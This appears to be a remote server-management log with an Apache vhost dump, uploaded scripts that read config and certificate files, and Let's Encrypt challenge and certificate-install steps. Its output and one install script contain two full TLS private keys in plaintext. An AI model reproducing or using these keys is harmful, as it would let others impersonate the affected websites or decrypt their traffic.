                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-06 18:10:58: 

PUT: /tmp/pkp536425

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-06 18:10:58: 

chmod 755 /tmp/pkp536425; /tmp/pkp536425; rm /tmp/pkp536425

2026-02-06 18:10:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf	1238

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-06 18:10:58: 

PUT: /tmp/pkp773794

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-06 18:10:58: 

chmod 755 /tmp/pkp773794; /tmp/pkp773794; rm /tmp/pkp773794

2026-02-06 18:10:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt	5377
6d:44:be:20:00:ae:66:73:e8:4a:09:26:4a:94:95:40

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBvt/C4kd0nkoyyd5fFqXV3gfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA2MTcxMjI2WhcNMjYwNTA3MTcxMjI1WjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCaRVLckrL5tq0lstas/VrGS39o8QI8mY+EpiozbcT7oKxOnmLvkeh5
/RDW9Gz1jNbkLUHuhFyCxQITwKx36a1/FLxMiCo1G3O7QH/HDMbtOaxSfVwpHJ/e
jFjHqZT+BbWDYp19xQkR17OL0RlIywd9qi886DxTkfSv26ssSy5uJJSl1DbQaS3D
oNYy8XUJ20UmlThS+SKJbcUWFUL3vjGkcZgX3uaP93ExOED0Ku4BgqbUyQuqyuc3
C0nSiBxPEwi0KY6d7j2lGMe8BthhWb3y7W4OMB3VSdy5O1Bo0U+m43phyrhKM2ub
/qSawqtzWEQV6RQYlF6oZHyHuf5XZXFbAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFKTLp2zMYnAA0bdmJbAA3mjyhj0eMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzIuY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGcNCZh
hQAABAMARzBFAiBHKcmQIb5nQHm8I9nvcXgDmwzgHIzMpXgEhPO7aJv7GQIhAMZm
OS6p6PqnhkuECKuLQfeKoXh28Le17TDbbgJ/cmX9AH8AGoudaUpXmMiZoMqIvfSP
wLRWYMzDYA0fcfRp/8fRrKMAAAGcNCZiZAAIAAAFAEMHGaMEAwBIMEYCIQDM2YkW
7GSkW/dXb+FL36tV12HNkT27Emk+8fjfPGLBAwIhAK12+gjv2SY0TsnMrDYkbjVN
GiQ629Eh6d0sP3UXxyJbMA0GCSqGSIb3DQEBCwUAA4IBAQCZLSaWsgt7s+25Z1Ow
M+okgmdM2cg52zgys8QK4QLg8oHUlwXy8RsTX+BwyXHfx2OJht1W4y0xPQ/nwNPO
5oUkwic9EwlU+G+IV/124FhkKItWvt4Yqkmoq/m2E6JIeST8SA2KGvBeyJjvNdCO
LfwaGgr/MYZSn1ZSNKG35pgVoHXNzM1g7t66NNNAjqmEh6bF+vU2mEHJfvKQoMbh
E+DTu/wjThAF3ZaU/2WrvXdpLP+MzjdgcV1jaO6KaKkEdDXGQ31TIVXIWwj97U/E
QVGM4kfXufh1oUUVtzb0ypJVY0Gt1lQ++RWs1UO+4IekiiorejQrwnGpV2C44SkB
JtrQ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCaRVLckrL5tq0l
stas/VrGS39o8QI8mY+EpiozbcT7oKxOnmLvkeh5/RDW9Gz1jNbkLUHuhFyCxQIT
wKx36a1/FLxMiCo1G3O7QH/HDMbtOaxSfVwpHJ/ejFjHqZT+BbWDYp19xQkR17OL
0RlIywd9qi886DxTkfSv26ssSy5uJJSl1DbQaS3DoNYy8XUJ20UmlThS+SKJbcUW
FUL3vjGkcZgX3uaP93ExOED0Ku4BgqbUyQuqyuc3C0nSiBxPEwi0KY6d7j2lGMe8
BthhWb3y7W4OMB3VSdy5O1Bo0U+m43phyrhKM2ub/qSawqtzWEQV6RQYlF6oZHyH
uf5XZXFbAgMBAAECggEAJxaom63p/l68eYBaZ6OcRAEuK8thSzSHik9GAxjtn+pC
rnrwS453Tq2B/k0ZbJA+hLs46PQNsq6zS4j2yj1h0gDRgzy/IQyvIsOBfNBueP4z
fQU5fEs98Lgz6Ic98q1EpCExEYSCu0whuKwHEYwr/jnIVVDstCoXyxVIRmVYQtzK
OMCR8k+/xWPGKBLrbmXYdV98V70WlfZjCoPO4IPuiWhf1Ujq83KeE684Q65F9mBk
9POecbP0PANU10XkC1g30BThAxw2pGz45/wLS3y2wAnOr0RHi2DghBYPLUtxP0na
Pp+MQbCEnPtVV5+vBDPP+uXaP18sO2EnSDD3WdaYGQKBgQDKy6bQwola+SBku+Wt
rWCm02XxCoCWBYI5Ho4+SslxhLfWVakpFdYxxuYJkoPVl+85MONq6x2qSdzxw0mS
LWa2HbSHczXE2QkEdhlQ99IUcg0ZijFztWXDgrbvbNEp/mZxjxHagrx/o/I1qDS/
35EbVig3D4y99lk+OJcT2timyQKBgQDCvpulsha0hLfHwvyltazPMS8sx03c81YN
WCc0tWw2dszBDAk6la2hdclZRr4USzsGREg93pqbp3db8WLy2kxMSwtC2DkWpyz2
4X1WlGk36vrhuvaQ6IgCWcoA9udPcu3/ukw6QHkFfbgFyqngQ2QPAAcVbPgQJhoI
ehFXJUUVAwKBgCfIxiQkVgAD6cf5WLi2z8RKqrAcCFfmIsMD7JHp6BUeHVauHW6S
+x9uzshH9xcbJHJK1gKut3Yl4XOIhVFpGMJXl4gPIRhKH8vBQ3wv8gXSziEZjFQP
3TP629qitXIQl5Zlo/IDPemohybhpd+Sg4wiXedXZJwLzTw4q+LYRzKJAoGBAILv
IrkJ/sgKP4I4sCM9/d0kRYKG0ewPUzkPnvSKUiJgR5Q34nCYODBJgEHdFWmRlzLE
cAnhA/RJaS/RIOUFLq1Q+1ZLCD8Z0VqACwROLlwhSeLBEIwnO2LROcbiOm0paak5
eYzk0jmF6FdEhmi5BqorK5gVNsesxm4SnFwKO+M/AoGATn9T063aSTTkaZ5FlH57
g93/dG/FJsMV0w6LcUTS+gmIEFUyRLH01GaRC+ve6BuSJ8JLMyw5AiH78YbbA2u+
LUoWTSZICBT0/FTb5rN1/S3e7Aa/MkprNm6vpXAL7I+gQFHMZoel6bcZFIiv1aS1
k6jJuGCfmoAkbvkL0nCAtt8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-07 06:00:02: Establishing a connection
2026-02-07 06:00:03: Establishing a connection
2026-02-07 06:00:03: 

PUT: /tmp/pkp522096

#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-07 06:00:04: 

chmod 755 /tmp/pkp522096; /tmp/pkp522096; rm /tmp/pkp522096

2026-02-07 06:00:04: 


1


2026-02-07 06:00:05: Establishing a connection
2026-02-07 06:00:05: 

PUT: /tmp/pkp374454

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > n53pfuB5uBu9yDFw-H2WklOLjrfrI6CmKCECwlFSGEc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
n53pfuB5uBu9yDFw-H2WklOLjrfrI6CmKCECwlFSGEc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 n53pfuB5uBu9yDFw-H2WklOLjrfrI6CmKCECwlFSGEc
cat > Q5V2E4iZW6TDVDm1StC2UkthRVw1r8JKwQ1YYdiJCII <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Q5V2E4iZW6TDVDm1StC2UkthRVw1r8JKwQ1YYdiJCII.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Q5V2E4iZW6TDVDm1StC2UkthRVw1r8JKwQ1YYdiJCII


2026-02-07 06:00:05: 

chmod 755 /tmp/pkp374454; /tmp/pkp374454; rm /tmp/pkp374454

2026-02-07 06:00:05: 




2026-02-07 06:00:17: Establishing a connection
2026-02-07 06:00:18: 

PUT: /tmp/pkp783473

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm n53pfuB5uBu9yDFw-H2WklOLjrfrI6CmKCECwlFSGEc
rm Q5V2E4iZW6TDVDm1StC2UkthRVw1r8JKwQ1YYdiJCII


2026-02-07 06:00:18: 

chmod 755 /tmp/pkp783473; /tmp/pkp783473; rm /tmp/pkp783473

2026-02-07 06:00:18: 




2026-02-07 06:00:18: Establishing a connection
2026-02-07 06:00:18: 

PUT: /tmp/pkp824434

#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt

cat > $temp_file <<'endmsg'
b1:43:8a:b3:6a:27:21:f6:8b:e9:ff:a2:ba:73:3e:33

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBWbFkbTXkbdalOqlxNCTitONMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA3MDUwMTQ1WhcNMjYwNTA4MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDEUKtwpKZ4W7rB0XZ+cBiLDVzTrqmZEKoHGXk5/PgqfNgx9GOclbTCW5wCiM1m
CW7QEPm0QY4FMzhcwYT8wMnAJ7mUVpJs+XFhfct4RQLvxlw1vMbUBa/ZnSpH5CpN
KSSYajePcmjkyS0EtfOSdLTFI0nJTyqis+LjPaLlUSdw7mSME8I6zbAcpPE+WEPR
dUJ/rE82EiBKejhqiJziFI1/IoXpwaVo6+p2GkQ8jb0oagr4OtUS0a7oeTPSF9rA
qDnq6At/QBWz9lA/LhIa0Sdk3LEA2x/ZdvxtiYb0hqL93Z1+CF14rN83a8pGFoBN
2wSQ77YyMhd8WXHHGs8F+1yfAgMBAAGjggI9MIICOTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLPRcmBc1TN6CsxB07mo5bBAjUD0MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTQuY3JsMIIBDQYKKwYB
BAHWeQIEAgSB/gSB+wD5AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT
9foAAAGcNq/HoQAABAMARzBFAiBLwVyI26odhF1ku9fKjkGMEFXQnEzdg7aA7BgC
LhE3oQIhAOAy133M25T/rXGDZ2B5FuGJ6Hf3/wC1/KWqwRHBGfkqAH8A4yON8o2i
iOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGcNq/PdAAIAAAFADHI7EgEAwBI
MEYCIQD3WhEr51ujCFPBd73l6EBLxzujnQ7F5HnQI8ZX/TtM+AIhALSkaA/enDfJ
L1wexMnCBLsuDpbXIVYTId0BJmA8Wlc0MA0GCSqGSIb3DQEBCwUAA4IBAQBre6ni
VssFRdkdENveBDLVcYuyELaGs5YLN9SMeh/fZ3/sILa6f3pt5aQafJDUD+tOWqPw
zXTCb5lgXL6tMj+M1d/nc2yzpEEp17fHyt80vk4AlsK+5ZutJ4mHlh2vNHBOMIB1
jb3ezcAfo+I4yaNKfcJhby3qynNzFDCjlHj+kIfq88d099beqWb6V2dmF9Lxr0CW
5ZeGoa+w57CNLPDRGpq1ezn9L+dSJ3pj8hhKJPmgcvc5Mq61uSd6SPTLD8L1a7WD
TwXOYd64u4dvU/cWMCtTuiJkbWV8qehqEeoj+PG6pIpBxO7vbGEteKAWRqxRWq8j
5iMhs28FaXx6Lgje
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEUKtwpKZ4W7rB
0XZ+cBiLDVzTrqmZEKoHGXk5/PgqfNgx9GOclbTCW5wCiM1mCW7QEPm0QY4FMzhc
wYT8wMnAJ7mUVpJs+XFhfct4RQLvxlw1vMbUBa/ZnSpH5CpNKSSYajePcmjkyS0E
tfOSdLTFI0nJTyqis+LjPaLlUSdw7mSME8I6zbAcpPE+WEPRdUJ/rE82EiBKejhq
iJziFI1/IoXpwaVo6+p2GkQ8jb0oagr4OtUS0a7oeTPSF9rAqDnq6At/QBWz9lA/
LhIa0Sdk3LEA2x/ZdvxtiYb0hqL93Z1+CF14rN83a8pGFoBN2wSQ77YyMhd8WXHH
Gs8F+1yfAgMBAAECggEAKnhRPoNASFV/56JLAjt588smQ91Lb4O9ZN/L7BGgFoD/
vH7kdeGlQ07SR3IVDXgI8xZZDvgHo3RbQyXSgWOrwdhWO5MnBlBIiRDPzesQIZNG
K5H1abT5QBjSJs9jn2HBOv/vmSblLmmfRZ+fXBXHbcaeleB8lspX0VVqQjX2VGW9
DubwIUwCnfyNFETYkqdzX8lBtiMiECyOOartmRXlh9wAjXmI0TskAHs/1W7f5Sii
+tNI5RdnPP59y0gaNSvMVflQdbPA98BhWv5ozPFtbFaU/3xPIxfxCearEg6twxFE
a+dZgfREQMHswW702wgpGhMLwlpYnBsmM9NnADBmoQKBgQD1tnmGS/3kpobolsuY
hBeti4QSac79RcS/1T+djWWtbh17ZVfa2Z6/a/9Kkx3A671mBhcuG7YNWUxtwNHC
1CV+ArDokawNvneAUEO42kIRU39J+BOw2wjbFB2s2FwcKXENtq7fn2JU8R4cCHEE
PEiRaSL3300iUbbub9Lzx/TQeQKBgQDMiMFu9I0PkbjdMlSSUlAAzH6XTmVLnwFo
b9ocHK6cgTqf0JvNLqEt3PFChi3W9/Fvi6XXkMvjozjbafeqsoOlTg7vhZtsCPi+
Ul926XzzgzoPfzQoC0RGFA4NA+c3daWXmAvu21FKFagv0sJeh2yaC030yr/H36JK
ckzAtQa/1wKBgQCpN6ftszwBUiYq3F8OhDoCTMkCHVht2LStIGGVUaGqlOE88AhX
MfRABFJmu3aMPE3Ni3g/StpPyyX1mAtdz9iaNaQ8JsaFGJ0YAy8AiV9iq0xIVs7I
x7ALoIjnVoHo6ylutlcsrol70ipYR//9WL7pVay9ZE2syvXes6hmN1kEkQKBgEjX
e2w0k/gzgY7lWdEyl2NxcLQaK2EfI7U6AId6f4UlUOeRt6r/LE/VG+cBOloQu19q
cImw+6v6eUlLF/Um1lOM1SzgfFWhbFT7qRwEU4e1+HuEZeLNAGekxMxF05agw3SV
pcpPOUgVJmzBto9L05WY6Q6BFoPsVTQGOOd4kQrJAoGBAMWQYWax+D4SRU7JX4wd
O+mj6jbp16UxVqVVA79sAjmT16RK1ofxsr56GhG9BTVVSDks7eAj30nyaZ+IDtx2
bSQriea4/qR8Z1kDOzgwnsS9ftFgAgw41ZPC17HF6h+bymrec6rkMl+h5hKPh1f+
71i/WsMS63yXT0sVRZm0ZxZ+
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


